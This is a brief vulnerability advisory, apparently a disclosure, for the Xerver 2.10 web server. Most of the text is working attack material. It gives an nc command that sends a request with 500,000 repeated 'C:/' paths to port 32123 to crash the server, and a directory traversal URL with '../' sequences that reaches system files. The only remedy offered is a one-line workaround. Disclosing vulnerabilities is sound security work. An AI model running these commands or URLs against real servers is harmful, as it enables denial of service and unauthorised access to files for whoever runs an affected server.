Alex Hernandez [al3xhernandez@ureach.com] says :
The port 32123 is used for server configuration, you may crash it by
calling the C: drive several times :
http://localhost:32123
$ printf \"GET /`perl -e \'print \"C:/\"x500000\'`\\r\\n\\r\\n\" |nc -vvn
127.0.0.1 32123
You may also access system files:
http://localhost/unix/ALEX/Xerver2.10/../../../
SOLUTION
Workaround: restrict incriminated files and directories
